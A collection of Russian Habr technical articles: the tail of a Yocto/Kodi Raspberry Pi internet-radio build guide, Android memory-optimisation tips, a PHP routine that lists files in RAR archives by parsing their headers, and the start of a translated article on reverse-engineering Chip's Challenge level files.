1) Работа файловой системы в обычном режиме чтение/запись
(так работают все дистрибутивы общего назначения, например Ubuntu)
2) Работа файловой системы в режиме только чтение
(так работают специализированные дистрибутивы, например в маршрутизаторах)
В режиме только чтение все каталоги, в которые обычно
записываются данные приложений и сервисов во время работы монтируются
в оперативную память (например каталог /var/log и т.п.)
Данные актуальны только для текущего сеанса работы и после сброса питания
данные теряются.
Если в Yocto Project вы укажете при сборке использовать "read only",
то после сборки ваш дистрибутив будет настроен только на чтение,
но вы всегда можете добавить возможность динамического перевода
из "read only" в "read/write", но это уже совсем другая история ...
```
И один главный недостаток:
«Его надо делать» т.е. мне необходимо потратить N количество вечеров
(обычно после работы, и это самое неэффективное время, в это время мозг, уже не думает, он обычно спит)
И еще, свою предыдущую статью на Хабре я писал про мультимедиа центр [Kodi и Yocto](https://habr.com/ru/post/467443) project
и возможность продолжить в том же ключе, пересилила мой исследовательский порыв. Об этом в следующей главе.
##### Превращение Kodi в интернет радио колонку
Для внесения нужной мне функциональности, я добавлю еще один метод в рецепт сборки дистрибутива описанного в предыдущей [статье](https://habr.com/ru/post/467443#distrib_recipe_koditv) см. файл berserk-image.bb
```
GUI_SETTINGS = "home/root/.kodi/userdata/guisettings.xml"
# конфигурация запуска последнего выбранного ТВ канала (1-фон 2-передний план)
F1_LINE = ""
R1\_LINE = ""
# конфигурация вывода звука, всегда подключен только аналоговый аудио выход
F2\_LINE = "PI:HDMI"
R2\_LINE = "PI:Analogue"
# так как HDMI по умолчанию не используется отключаю автоматическое обновление
# а то может получиться что питание уехало, а данные остались не записанными
F3\_LINE = ""
R3\_LINE = ""
# метод отвечает за добавление конфигурации:
# которая превращает "Умный телевизор" в "простую Интернет Радио колонку"
add\_radio\_guisettings() {
sed -i "s|${F1\_LINE}|${R1\_LINE}|" ${IMAGE\_ROOTFS}/${GUI\_SETTINGS}
sed -i "s|${F2\_LINE}|${R2\_LINE}|" ${IMAGE\_ROOTFS}/${GUI\_SETTINGS}
sed -i "s|${F3\_LINE}|${R3\_LINE}|" ${IMAGE\_ROOTFS}/${GUI\_SETTINGS}
}
FIND\_STR = "touch ./tmp/.FIRST\_RUN."
SCRIPT\_FIRST\_RUN = "etc/init.d/first-run.sh"
# так как HDMI выход может не использоваться,
# то необходимо отключить "стартовое приветствие"
off\_kodi\_welcome() {
sed -i "s|${FIND\_STR}|#&|" ${IMAGE\_ROOTFS}/${SCRIPT\_FIRST\_RUN}
}
```
Методы предназначены для модификации корневой файловой системы перед формированием образа дистрибутива в виде одного raw файла, который записывается на карту памяти командой **dd**
Это делается таким образом:
**ROOTFS\_POSTPROCESS\_COMMAND += «add\_radio\_guisettings; off\_kodi\_welcome;»**
Если вкратце, то в основном файле конфигурации Kodi 17.6, меняются «три пункта»
* Конфигурация запуска последнего выбранного ТВ канала;
* Конфигурация вывода звука, всегда подключен только аналоговый аудио выход;
* Отключение автоматического обновления;
* **Примечание:**
```
Единственное с чем у меня возникли сложности,
это то, что пришлось еще подтащить файл базы данных
в формате sqlite => TV29.db, в котором указывается
текущий проигрываемый ТВ канал
(так как по умолчанию никакой из каналов не выбран),
а через xml конфигурацию в Kodi этого не сделать.
```
более подробная последовательность действий для каждого пункта:
1) Нажмите на значок «шестеренки» в левом верхнем углу экрана
и выберите пункт «Настройки PVR и ТВ» (изображение телевизора с двумя рожками)
далее в левой части меню, выберете пункт «Воспроизведение», а в центральной секции «Общие»
укажите в выпадающем списке «Продолжить с последнего канала при запуске»
выбрав настройку «Передний план»
или более наглядно:
```
"Настройки PVR и ТВ"
=> "Воспроизведение"
=> "Продолжить с последнего канала при запуске" => "Передний план"
```
2) Нажмите на значок «шестеренки» в левом верхнем углу экрана и выберите пункт:
```
"Системные настройки"
=> "Дополнения" => "Обновления" => "Никогда не проверять обновления"
```
3) Нажмите на значок «шестеренки» в левом верхнем углу экрана и выберите пункт:
```
"Системные настройки"
=> "Аудио" => "Устройство вывода звука" => "PI: Analogue"
```
##### Как я два года неправильно смотрю телевизор.
Должен вам признаться, что я за два года так и не научился правильно смотреть телевизор.
Обычно я смотрю телевизор на кухне. К телевизору подключена плата Raspberry Pi 2B, а к плате Ethernet и HDMI разъемы. Питание платы подается через обычный USB кабель, который воткнут в USB порт телевизора т.е. по сути, включение телевизора с помощью штатного пульта дистанционного управления, подает питание и на плату Raspberry Pi, а отключение телевизора с пульта, также сразу сбрасывает питание и с платы Raspberry Pi.
Да я прекрасно осознаю, что так делать нельзя, потому что корневая файловая система мультимедиа центра Kodi (ext3), у меня функционирует в обычном режиме чтение/запись. Но я человек ленивый, и для начала я решил проверить насколько долго так можно выключать систему, до того момента, пока она совсем не перестанет грузиться, но к сожалению за два года мне этого так и не удалось сделать (возможно мне просто повезло, не знаю).
И на мой взгляд, если такой режим подошел для моего телевизора, то и для «простой Интернет Радио колонки» тоже подойдет, а так как я принудительно отключил автоматическое обновление плагинов Kodi, то и вероятность отказа файловой системы, станет еще меньше. Пока я проблемы с этим не вижу
**Примечание:**
```
Но вы всегда при желании можете с помощью одной yocto команды
IMAGE_FEATURES += "read-only-rootfs"
и определенной магии перевести ваш дистрибутив в режим "read only"
```
Дистрибутив «интернет радио колонки», описываемый в статье является бытовым, а что главное для бытового дистрибутива — это красивый GUI. На мой взгляд очень трудно или почти невозможно научить обычного пользователя вбивать какие либо непонятные магические команды в консоли, да он и слово то такого не знает. А вот GUI, это пожалуйста.
И это пожалуй мой главный аргумент в пользу не консольного дистрибутива. Теплый ламповый графический интерфейс пользователя Kodi, да он особо не нужен, но он есть.
(Еще я совсем забыл упомянуть, о том, что Kodi можно управлять дистанционно, например со смартфона, установив приложение «Yatse», и возможно для кого то, это будет плюсом)
### Конфигурация Kodi, для управления мышью
**а теперь Ракета**
```
VolumeUp
VolumeDown
ChannelDown
ChannelDown
ChannelUp
```
Конфигурация переопределяет общие (global) события для следующих элементов:
* прокрутка колеса мыши вперед
* прокрутка колеса мыши назад
* нажатие на среднюю кнопку мыши
* обработка длительного нажатия мыши (3сек и более),
0 идентификатор правой кнопки, 1 идентификатор левой кнопки
более подробная информацию по настройке событий мыши:
[kodi.wiki/view/Alternative\_keymaps\_for\_mice](https://kodi.wiki/view/Alternative_keymaps_for_mice)
[kodi.wiki/view/Action\_IDs](https://kodi.wiki/view/Action_IDs)
[kodi.wiki/view/Window\_IDs](https://kodi.wiki/view/Window_IDs)
##### Что делать если кабельная система к вам не пришла
«Но у меня дома нет свободных Ethernet портов (или никогда и не было)» — может воскликнуть часть счастливых обладателей старых плат Raspberry Pi 1 (возможно плата покупалась для исследования и так и осталась лежать на шкафу)
А так как на плате нет встроенного Wifi, то без Ethernet подключения, она не очень функциональна.
Конечно возможность использования платы Raspberry Pi 1 без Ethernet существует, но потребует от вас определенных усилий. Обычно такие вещи интересно выполнять только в рамках изучения чего то нового т.е. это не пользовательская работа.
Итак, рассмотрим гипотетический вариант использования платы без Ethernet:
Можно подключить внешний USB — Wifi адаптер, руководствуясь тем соображением,
что адаптер должен хорошо работать под Linux
**Примечание:**
```
К сожалению часть WiFi адаптеров работать не будет,
это не особенность представленного в данной статье дистрибутива,
а скорее проблема конкретных драйверов WiFi адаптеров в ядре Linux.
Можно констатировать тот факт, что в настоящий момент вы не можете просто
пойти в магазин и купить любой WiFi адаптер. Скорее вы должны подобрать WiFi
адаптер из списка менее проблематичных и хорошо работающих под Linux.
я проверял только следующии модели:
- WiFi адаптер на чипсете Atheros D-Link DWA-126 802.11n (AR9271)
- WiFi адаптер NetGear WNDA3200
- WiFi адаптер NetGear WNA1100
- WiFi адаптер TP-Link TL-WN722N (AR9271)
- WiFi адаптер TL-WN322G v3
- WiFi адаптер TL-WN422G
- Wifi адаптер Asus USB-N53 chipset Ralink RT3572
```
Если у вас уже есть usb Wifi адаптер, вы можете проверить хорошо ли он работает под Linux следующим образом:
* Установите какой нибудь широко распространенный Linux дистрибутив
общего назначения, например «Ubuntu Desktop»
* Загрузите систему
* Подключите ваш Wifi usb адаптер
* Запустите сетевой менеджер, и попытайтесь подключиться к вашей WiFi точке доступа
* Если все хорошо работает и ваше интернет соединение стабильное, значит ваш адаптер хорошо поддерживается и вы можете продолжить свою работу по подключению этого адаптера в специализированном дистрибутиве и возможно с другими версиями ядра
(если нет, то нет, увы — лучше даже и не пытаться)
**Поддержка внешнего Wifi адаптера в «Raspberry PI»**
Для корректной работы WiFi адаптера в Linux: нам потребуется две вещи:
**1)** Поддержка Linux ядром определенного Wifi адаптера
**2)** Наличие в системе модуля ядра для определенного Wifi адаптера
Возьмем к примеру адаптер TP-Link TL-WN722N. У него просто великолепная антенка.
Найдем чипсет на котором плата работает — у меня это «AR9271», **примечание:**
```
что самое интересное, это то, что для одной и той же модели
одного и того же производителя, чипсет Wifi может отличаться.
Я например сталкивался с тем, что для TL-WN722N версии 2,
используется уже другой чипсет Realtek RTL8188, а он уже
плохо работал под Linux (на тот момент), увы такие вот дела,
т.е. иногда нужно еще приглядываться к маленьким цифрам
версии на обратной (темной) стороне адаптера.
```
Теперь найдем название параметра в конфигурации ядра отвечающую за драйвер чипсета AR9271, лучше всего поискать сочетание слов «AR9271 cateee.net»
где «cateee.net» — классный сайт с описанием конфигураций модулей ядра Linux
Сразу находим название конфигурации ядра — **CONFIG\_ATH9K\_HTC**
и название нужного нам модуля ядра **ath9k\_htc**
и далее достаточно указать название нужного модуля в файле фрагмента конфигурации
Linux ядра => recipes-kernel/linux/files/rbpi.cfg, добавьте строку:
**CONFIG\_ATH9K\_HTC=m**
Таким образом в дальнейшем вы можете подключить любое дополнительное оборудование к вашей системе (ну если конечно в Linux ядре оно уже поддерживается)
##### Что делать если вы хабра гик — конструктор
И создаете крутейшие вещи, например такие как [здесь](https://habr.com/ru/post/477440) или вы студент и мечтаете создать, что то похожее.
То навскидку можно взять какой нибудь Touch Screen экран для RPI на aliexpress, там же заказать подходящую аккумуляторную батарею, подключить все это к плате Raspberry Pi 1,2 или 3 (лучше к 3, так как она со встроенным Wifi), выбрать тему оформления графического интерфейса в Kodi, рассчитанную на сенсорный экран и вуаля => у вас может получиться простой audio плейер. Конечно он будет достаточно громоздкий, но он будет вашим.
```
Примечание:
A для того, чтобы собрать Мультимедиа центр Kodi для самой бюджетной платы
Raspberry Pi Zero Wifi в yocto вам достаточно изменить две строки:
конфигурационный файл => build/conf/local.conf
MACHINE = 'raspberrypi0-wifi'
рецепт сборки Kodi => recipes-mediacentre/kodi/kodi_17.bbappend
EXTRA_OECONF_append = "${@bb.utils.contains('MACHINE', \
'raspberrypi0-wifi', '${BS_RPI}', '', d)}"
```
```
Если отзывчивость GUI Kodi 17.6
из за одного процессорного ядра в Zero вам покажется
загадочной, то можно сделать финт ушами и собрать более старую,
но очень быструю версию, например Kodi 15.2, он в этом плане более
"дружелюбный" (иногда legacy решает все)
```
К сожалению платы у меня нет, поэтому проверить не могу, но по моим ощущениям это должно заработать.
**Краткая инструкция по сборке**
```
1) Установите зависимости Yocto Project (например в Ubuntu):
sudo apt-get install -y --no-install-suggests --no-install-recommends \
gawk wget git-core diffstat unzip texinfo gcc-multilib build-essential \
chrpath socat cpio python python3 python3-pip python3-pexpect \
xz-utils debianutils iputils-ping python3-git python3-jinja2 \
libegl1-mesa libsdl1.2-dev xterm
2) Скачайте и установите Repo:
mkdir ~/bin
curl http://commondatastorage.googleapis.com/git-repo-downloads/repo > ~/bin/repo
chmod a+x ~/bin/repo
3) Загрузите проект с github:
PATH=${PATH}:~/bin
mkdir radio
cd radio
repo init -u https://github.com/berserktv/bs-manifest \
-m raspberry/rocko/radio-rpi-0.2.8.xml
repo sync
4) Соберите проект:
./shell.sh
bitbake berserk-image
можно тоже самое собрать для плат Raspberry Pi 3B Plus, 3B и 2B:
repo init -u https://github.com/berserktv/bs-manifest \
-m raspberry/rocko/radio-0.2.8.xml
```
> более подробную инструкцию по сборке
>
> и записи на microSDHC карту см. [в предыдущей статье](https://habr.com/ru/post/467443/#instruction_koditv)
>
>
##### Постскриптум
Конечно идея Интернет радио колонки типовая, она всем известна и на хабре вы найдете немало статей по этому поводу, например [здесь](https://habr.com/ru/post/475172)
И еще вы можете подумать, что я просто подогнал требования к готовому решению. На это я могу парировать и сказать, что нет, честно честно.
Побольше вам сборок хороших и разных. | https://habr.com/ru/post/482714/ | null | ru | null |
# OutOfMemory и использование векторных изображений в Android Studio
Привет, Хабр! В данной статье, ориентированной на новичков, я бы хотел дать несколько советов по оптимизации использования приложением памяти устройства, дабы постоянно не получать OutOfMemory, а также рассмотреть использование векторных изображений в текущей актуальной версии Android Studio (3.4), так как большинство русскоязычных ресурсов по этой теме (последняя [статья](https://habr.com/ru/post/265601/) на Хабре про векторные изображения датируется 2015 годом) устарели, что нередко вводит начинающих разработчиков в заблуждение. Итак, приступим.
### 1. Используйте векторные изображения вместо растровых
Конечно, большие изображения с множеством мелких деталей не стоит переводить в вектор — это займёт столько же места, как и растр, если не больше. Однако мелкие изображения, вроде иконок и остальных деталей пользовательского интерфейса следует конвертировать в вектор в целях экономии памяти. Да и работать с [векторными изображениями](https://ru.wikipedia.org/wiki/%D0%92%D0%B5%D0%BA%D1%82%D0%BE%D1%80%D0%BD%D0%B0%D1%8F_%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D0%BA%D0%B0) зачастую гораздо удобнее. А теперь, самое главное — как это сделать?
1. Открываем Android Studio.
2. Кликаем правой кнопкой мыши по папке drawable или её содержимому > New > Vector Asset
3. Указываем путь к своему svg-файлу. Если ваше изображение имеет неправильную форму, то советую поставить галочку рядом с параметром Override — в противном случае картинка будет подогнана под стандартные размеры, что может исказить её пропорции.
4. Next > Finish
5. Готово!
Для конвертации из растра в вектор могу посоветовать отличное бесплатное приложение [Inkscape](https://inkscape.org/ru/). Немного о работе с ним:
1. Открываем Inkscape.
2. Перетаскиваем в него любой растр. В открывшемся окне выбираем параметры импорта и жмём ОК.
3. В верхнем тулбаре, предварительно выбрав наше изображение, выбираем Контур > Векторизировать растр (Shift + Alt + B).
4. Теперь самое главное. В новом окне ставим галочку рядом с «Убрать фон» и выбираем следующее: будет ли наше изображение цветным, и сколько нужно сделать сканирований. Нельзя забывать, что от этих двух параметров напрямую зависит размер нашего векторного файла.
Больше сканирований — больше цветов, оттенков и деталей. Моему лепрекону, чтобы приобрести божеский вид, по причине большего количество цветов в изображении понадобилось 30 сканирований. Это довольно много, лучше делать не больше десяти и выбирать картинки попроще.
5. Закрываем окно, нажимаем на растр и удаляем его клавишей Delete, переходим в Файл > Свойства документа (Shift + Ctrl + D), подгоняем размер страницы под содержимое.
Теперь проведём небольшой тест, доказывающий преимущество вектора в экономии памяти.
Я создал новый проект с одним-единственным ImageView, к которому применил анимацию, перемещающую его из точки А в точку Б, поочерёдно изменив изображения на растровое и векторное. Смотрим данные.
Растр
Вектор
Разница почти что в два раза. Думаю, это достаточно убедительно.
### 2. Увеличьте размер «кучи»
Для этого перейдите в манифест вашего проекта (app > manifests > AndroidManifest.xml) и в колонке application добавьте строку:
```
android:largeHeap="true"
```
По сути, увеличение «кучи» — это не решение проблемы OutOfMemory, а её задвигание на дальнюю полку. Вместо того, чтобы оптимизировать использование приложением памяти устройства, мы даём ему больше места. Не стоит забывать и то, что у каждого устройства свой объём памяти, как основной, так и дополнительной, выделяемой под приложение.
### 3. Избегайте утечек памяти
Любое приложение в своей работе использует множество объектов, которые, естественно, занимают определённое место в памяти. В идеале, сборщик мусора должен удалять из неё неиспользуемые объекты, но иногда появляются так называемые «утечки памяти», которые вызывают серьёзные проблемы в работе приложения. Существуют различные причины утечек памяти, о которых подробно рассказано [тут](https://habr.com/ru/company/sebbia/blog/243537/).
От себя хотел бы посоветовать библиотеку [WeakHandler](https://github.com/badoo/android-weak-handler), разработанной компанией Badoo, и призванной устранить утечки памяти, связанные с неправильным использованием android.os.Handler. Для использования данной библиотеки добавьте в свой gradle-файл (Gradle Scripts > build.gradle (Module:app)) в колонку dependencies строку:
```
compile 'com.badoo.mobile:android-weak-handler:1.1'
```
а в Java-файл:
```
private WeakHandler mHandler;
protected void onCreate(Bundle savedInstanceState) {
mHandler = new WeakHandler();
...
}
private void onClick(View view) {
mHandler.postDelayed(new Runnable() {
view.setVisibility(View.INVISIBLE);
}, 5000);
}
```
И не забудьте импортировать сам WeakHandler, если студия не сделала это автоматически.
### 4. Избегайте больших покадровых анимаций
Покадровая анимация в Android Studio — штука удобная, но далеко не самая экономичная. При использовании в ней большого количества изображений, вы непременно получите OutOfMemory.
Но, если уж вам это очень понадобилось, лучше используйте gif-изображение вместе с библиотекой [Android Gif Drawable](https://github.com/koral--/android-gif-drawable). Эта библиотека упрощает работу c gif, а также потребляет гораздо меньше памяти, чем покадровые анимации Android Studio. Для использования данной библиотеки добавьте в свой gradle-файл (Gradle Scripts > build.gradle (Module:app)) в колонку dependencies строку:
```
implementation 'pl.droidsonroids.gif:android-gif-drawable:1.2.16'
```
и в свой второй gradle-файл (Gradle Scripts > build.gradle(Module:«название вашего приложения»)) в колонки buildscript и allproject строку:
```
mavenCentral()
```
а в Java-файл:
```
GifDrawable gifFromResource = new GifDrawable( getResources(), R.drawable.имя_файла );
gifFromResource.start();
```
Для отключения gif вместо start() пишем stop(). Также не забывайте сжать gif-ки, это сэкономит ещё больше места.
Надеюсь, что моя статья была вам полезна. Спасибо. | https://habr.com/ru/post/450566/ | null | ru | null |
# RAR: получение списка файлов без PECL
Не так давно я писал о получении текста из всевозможных файловых форматов, будь то [DOC](http://habrahabr.ru/blogs/php/72745/) или [PDF](http://habrahabr.ru/blogs/php/69568/). Сегодня мы рассмотрим не менее интересный формат — формат сжатия RAR. Не буду обнадёживать страждущих — сегодня мы только прочитаем список файлов без каких-либо дополнительных расширений PHP. Итак, кому интересно, прошу под кат...
#### RAR — хороший «плохой» архиватор
Напомню, что RAR разрабатывается нашим соотечественником Евгением Рошалом. От него же и получил своё имя Roshal Archiver. Формат закрытый, что абсолютно не сказалось на его распространении как в России, так и по миру. Почти все рабочие станции, что мне приходилось видеть, были с установленным ~~и подчас крякнутым~~ архиватором RAR.
За время своей разработки и бытности архиватор дорос до 3ей (предположу, что скоро будет и 4ая) версии, что сказалось на большинстве «самопальных» разархиваторов: третья версия привнесла новые алгоритмы сжатия, от чего последние впадали в паранойю и ересь. Тем не менее сайт разработчика [содержит](http://www.rarlab.com/rar_add.htm) достаточный объём всевозможных исходных кодов для разархивации RAR-файлов под разные платформы и среды разработки.
Что до PHP, то [PECL-расширение](http://pecl.php.net/package/rar) доросло до «стабильной» первой версии и редко когда установлено на хостингах. Расширение, кстати, использует тот самый «unrar», чьи исходные коды лежат на сайте программы. Более того, признаюсь честно, мне не удалось ~~запинать~~ заставить работать расширение под 5.3 (под Windows), под 5.2.11 php\_rar.dll заработало, но большинство архивов прочитать не смогло. Не удивлюсь, что все варианты скомпилированной библиотеки под Windows-систему были для «какой-то» другой версии, а компилировать самому не хотелось… поэтому под вечер я сел поглядеть, да посмотреть, что представляет из себя unrar.dll, что можно собрать из исходников на сайте.
#### RAR — как это?
В связи с закрытостью формата — документация по нему скудная, даже не смотря на тот факт, что исходные коды для разжатия данных есть. Что ж неудивительно — порядка 600 кб исходников рассматривать мало кому захочется. Но тем не менее энтузиасты таки есть (боже упаси, если вы подумали на мою персону :) — поэтому в своё время был создан проект [The UniquE RAR File Library](http://www.unrarlib.org/), который в разы сократил исходные коды для разархивации файлов, созданных 2ой версией архиватора.
Так вот мне попались на глаза исходники вышеупомянутой библиотеки, а также минимальная, но хоть какая-то, [документация](http://web.archive.org/web/20071111085142/http://datacompression.info/ArchiveFormats/RAR202.txt) по престарелой 2.02 версии архиватора. Что ж, давайте погрузимся в то, как выглядят наши RAR-архивы.
RAR-архив состоит из блоков переменной длины с заголовками по 7 байт каждый. Любой архив содержит как минимум два блока MARK\_HEAD и MAIN\_HEAD. Первый содержит информацию о том, что перед нами RAR, и выглядит как "`52 61 72 21 1a 07 00`" в HEX'ах. Третий байт `0х72` как раз таки указывает на то, что это Marker Header. Слово `00 07` в little-endian содержит длину блока. Как раз таки 7 байт.
Второй блок Main Header начинается сразу же после первого и должен содержать 13 байт и иметь маркировочный байт равным `0x73`. После него в файле уже начинаются данные — будь-то сжатый файл (маркет `0х74` в третьем байте заголовка блока), комментарий к архиву, дополнительная информация или, к примеру, recovery-запись.
Алгоритм получения списка файлов не сложен (если не брать в расчёт архивы с шифрованной структурой каталогов, чтение которых осталось за рамками этой статьи).
1. Читаем первые семь байт заголовка. Находим там длину заголовка и дочитываем его до конца;
2. Проверяем является ли блок «файловым»;
3. Если «Да», то DWORD на седьмой позиции размер заархивированного файла (а также тот объём данных, что нужно прочесть до следующего блока), следующее двойное слово — размер исходного файла, на позиции №28 — лежат аттрибуты файла (DWORD), а по адресам 26 и 32 находится длина имени файла (2 байта) и само имя. Кроме того, там можно найти дату создания, код ОС в которой был создан файл и CRC;
4. Если же блок не «файловый», то мы должны прочитать слово на третьей позиции и проверить значение его 15ого бита, что отвечает за дополнительный объём информации, что может идти с блоком. В случае «1» по этой позиции, мы должны пропустить ADD\_SIZE байтов (первое двойное слово после заголовка блока);
5. И так до конца файла...
Сложно? Не очень, в сравнении с каким-нибудь DOC-файлов.
#### Исходный код
> 1. // Функция чтения списка файлов из $filename без использования
> 2. // PECL-расширения rar.
> 3. function rar\_getFileList($filename) {
> 4. // Функция для получения COUNT байтов из строки (little-endian).
> 5. // Чтобы не засорять глобальное пространство функций - отправляем её
> 6. // вовнуть материнской.
> 7. if (!function\_exists("temp\_getBytes")) {
> 8. function temp\_getBytes($data, $from, $count) {
> 9. $string = substr($data, $from, $count);
> 10. $string = strrev($string);
> 11.
> 12. return hexdec(bin2hex($string));
> 13. }
> 14. }
> 15.
> 16. // Попытка открыть файл
> 17. $id = fopen($filename, "rb");
> 18. if (!$id)
> 19. return false;
> 20.
> 21. // Проверка - является ли файл RAR-архивом
> 22. $markHead = fread($id, 7);
> 23. if (bin2hex($markHead) != "526172211a0700")
> 24. return false;
> 25.
> 26. // Пытаемся прочесть MAIN\_HEAD блок
> 27. $mainHead = fread($id, 7);
> 28. if (ord($mainHead[2]) != 0x73)
> 29. return false;
> 30. $headSize = temp\_getBytes($mainHead, 5, 2);
> 31.
> 32. // Сдвигаемся на позицию первого "значащего" блока в файле
> 33. fseek($id, $headSize - 7, SEEK\_CUR);
> 34.
> 35. $files = array();
> 36. while(!feof($id)) {
> 37. // Читаем загловок блока
> 38. $block = fread($id, 7);
> 39. $headSize = temp\_getBytes($block, 5, 2);
> 40. if ($headSize <= 7)
> 41. break;
> 42.
> 43. // Дочитываем остаток блока исходя из длины заголовка по
> 44. // соответствующему смещению
> 45. $block .= fread($id, $headSize - 7);
> 46. // Если это файловый блок, то начинаем его обрабатывать
> 47. if (ord($block[2]) == 0x74) {
> 48. // Смотрим сколько занимает в архиве запакованный файл и
> 49. // смещаемся к следующей позиции.
> 50. $packSize = temp\_getBytes($block, 7, 4);
> 51. fseek($id, $packSize, SEEK\_CUR);
> 52.
> 53. // Читаем атрибуты файла: r - read only, h - hidden,
> 54. // s - system, d - directory, a - archived
> 55. $attr = temp\_getBytes($block, 28, 4);
> 56. $attributes = "";
> 57. if ($attr & 0x01)
> 58. $attributes .= "r";
> 59. if ($attr & 0x02)
> 60. $attributes .= "h";
> 61. if ($attr & 0x04)
> 62. $attributes .= "s";
> 63. if ($attr & 0x10 || $attr & 0x4000)
> 64. $attributes = "d";
> 65. if ($attr & 0x20)
> 66. $attributes .= "a";
> 67.
> 68. // Читаем имя файла, размеры до и после запаковки, CRC и аттрибуты
> 69. $files[] = array(
> 70. "filename" => substr($block, 32, temp\_getBytes($block, 26, 2)),
> 71. "size\_compressed" => $packSize,
> 72. "size\_uncompressed" => temp\_getBytes($block, 11, 4),
> 73. "crc" => temp\_getBytes($block, 16, 4),
> 74. "attributes" => $attributes,
> 75. );
> 76. } else {
> 77. // Если данный блок не файловый, то пропускаем с учётом возможного
> 78. // дополнительного смещения ADD\_SIZE
> 79. $flags = temp\_getBytes($block, 3, 2);
> 80. if ($flags & 0x8000) {
> 81. $addSize = temp\_getBytes($block, 7, 4);
> 82. fseek($id, $addSize, SEEK\_CUR);
> 83. }
> 84. }
> 85. }
> 86. fclose($id);
> 87.
> 88. // Возвращаем список файлов
> 89. return $files;
> 90. }
>
Код с комментариями вы можете получить на [GitHub'е](https://github.com/rembish/TextAtAnyCost).
#### Литература
Ну и как обычно литература для ознакомления:
* [Официальный UnRAR исходники](http://www.rarlab.com/rar_add.htm);
* [The UniquE RAR File Library](http://www.unrarlib.org/);
* [Спецификация структуры RAR 2.x](http://web.archive.org/web/20071111085142/http://datacompression.info/ArchiveFormats/RAR202.txt).
#### Перспективы
Что до чтения файлов из архивов, то… это теоретически можно сделать на PHP путём рефакторинга библиотеки от UniquE, но это подойдёт лишь для архивов, созданных версией до 2.90. Новые архивы библиотека не прочитает… а разбираться в полутысяче килобайт кода вы сами понимаете. | https://habr.com/ru/post/73637/ | null | ru | null |
# Введение в реверс-инжиниринг: взламываем формат данных игры
### Введение
Реверс-инжиниринг незнакомого файла данных можно описать как процесс постепенного понимания. Он во многом напоминает научный метод, только применённый к созданным человеком абстрактным объектам, а не к миру природы. Мы начинаем со сбора данных, а затем используем эту информацию для выдвижения одной или нескольких гипотез. Проверяем гипотезы и применяем результаты этих проверок для их уточнения. При необходимости повторяем процесс.
Развитие навыков реверс-инжиниринга — в основном вопрос практики. Накапливая опыт, вы выстраиваете интуитивное понимание того, что нужно исследовать в первую очередь, какие паттерны необходимо искать, и какие инструменты удобнее использовать.
В этой статье я подробно расскажу о процессе обратной разработки файлов данных из старой компьютерной игры, чтобы продемонстрировать, как это делается.
### Небольшая предыстория
Всё это началось, когда я пытался воссоздать игру *Chip's Challenge* на Linux.
Изначально *Chip's Challenge* была выпущена в 1989 году для ныне забытой портативной консоли Atari Lynx. Для того времени Atari Lynx была впечатляющей машиной, но она вышла в одно время с Nintendo Game Boy, которая в конце концов захватила рынок.
*Chip's Challenge* — это игра-головоломка с видом сверху и тайловой картой. Как и в большинстве таких игр, цель каждого уровня заключается в том, чтобы добраться до выхода. В большей части уровней выход охраняется разъёмом для чипа, который можно миновать, только собрав определённое количество компьютерных чипов.
Видео: [Atari Lynx в действии](http://www.muppetlabs.com/~breadbox/txt/bure/lynxdemo.ogv), [прохождение первого уровня](http://www.muppetlabs.com/~breadbox/txt/bure/gameplay.ogv).
Новая игра начинается с первого уровня под названием «LESSON 1». Кроме чипов и разъёма для чипа, на нём появляются ключи и двери. На других уровнях возникают такие препятствия, как ловушки, бомбы, вода и существа, которые (чаще всего) движутся по предсказуемым маршрутам. Широкий набор объектов и устройств позволяет создавать множество загадок и ограничений по времени. Для завершения игры нужно пройти более 140 уровней.
Хотя Lynx в конце концов потерпела неудачу, *Chip's Challenge* оказалась достаточно популярной и была портирована на множество других платформ, со временем появившись и на Microsoft Windows, где получила широкое распространение. Вокруг игры образовалась небольшая, но преданная база фанатов, и со временем был написан редактор уровней, позволявший игрокам создавать бесчисленные уровни.
И с этого начинается моя история. Я решил, что хочу создать версию базового движка игры с открытым исходным кодом, чтобы можно было играть в *Chip's Challenge* в Linux и в Windows, и упростить запуск всех уровней, созданных фанатами.
Существование редактора уровней оказалось для меня чудом, потому что я мог исследовать скрытые особенности логики игры, создавая собственные уровни и проводя тесты. К сожалению, для оригинальной игры на Lynx редактора уровней не было, он появился только в более известном порте под Windows.
Порт под Windows создавался не разработчиками оригинала, поэтому в нём появилось множество изменений логики игры (и не все они были намеренными). Когда я начал писать свой движок, я хотел воссоздать в нём и логику игры оригинала на Lynx, и более известной версии под Windows. Но отсутствие редактора уровней на Lynx серьёзно ограничило мои возможности по подробному исследованию оригинальной игры. Порт под Windows имел преимущество: уровни сохранялись в отдельный файл данных, что упрощало его обнаружение и реверс-инжиниринг. Игра под Lynx распространялась на ROM-картриджах, содержавших спрайтовые изображения, звуковые эффекты и машинный код, а также данные уровней, которые выполнялись все вместе. Нет никаких намёков о том, где находятся данные в этом 128-килобайтном дампе ROM, или как они выглядят, а без этих знаний я никак не мог создать редактор уровней для версии на Lynx.
Однажды в процессе неторопливых исследований я наткнулся на копию порта *Chip's Challenge* под MS-DOS. Как и в большинстве ранних портов игры, его логика была ближе к оригиналу, чем в версии под Windows. Когда я посмотрел на данные программы, чтобы узнать, как они хранятся, я с удивлением обнаружил, что данные уровней были выделены в отдельный каталог, а каждый уровень хранился в своём файле. Имея так удобно отделённые данные уровней, я предположил, что будет не слишком сложно выполнить реверс-инжиниринг файлов данных уровней. А это позволит написать редактор уровней для версии игры под MS-DOS. Я решил, что это интересная возможность.
Но затем другой участник сообщества *Chip's Challenge* предупредил меня об интересном факте. Содержимое файлов уровней для MS-DOS оказалось побайтным дампом ROM Lynx. Это означало, что если я смогу декодировать файлы MS-DOS, то у меня получится затем использовать это знание для чтения и изменения уровней внутри дампа ROM Lynx. Тогда можно будет создать редактор уровней непосредственно для оригинальной игры на Lynx.
Внезапно моим основным приоритетом стал реверс-инжиниринг файлов уровней для MS-DOS.
### Файлы данных
Вот ссылка на [tarball](http://www.muppetlabs.com/~breadbox/txt/bure/levels.tar.gz) каталога, содержащего все файлы данных. Я даю её на случай, если вы захотите повторять за мной все шаги, описанные в этой статье, или попытаетесь самостоятельно декодировать файлы данных.
> **Законно ли это?** Хороший вопрос. Поскольку эти файлы являются только небольшой частью программы для MS-DOS, и сами по себе они бесполезны, и поскольку я выкладываю их только в образовательных целях, то полагаю, что это подпадает под требованиях добросовестного использования (fair use). Надеюсь, со мной согласятся все заинтересованные стороны. (Если же я всё-таки получу от юристов письмо с угрозами, то могу изменить статью так, чтобы изложить файлы данных в забавном ключе, а затем заявить, что это пародия.)
### Предварительные требования
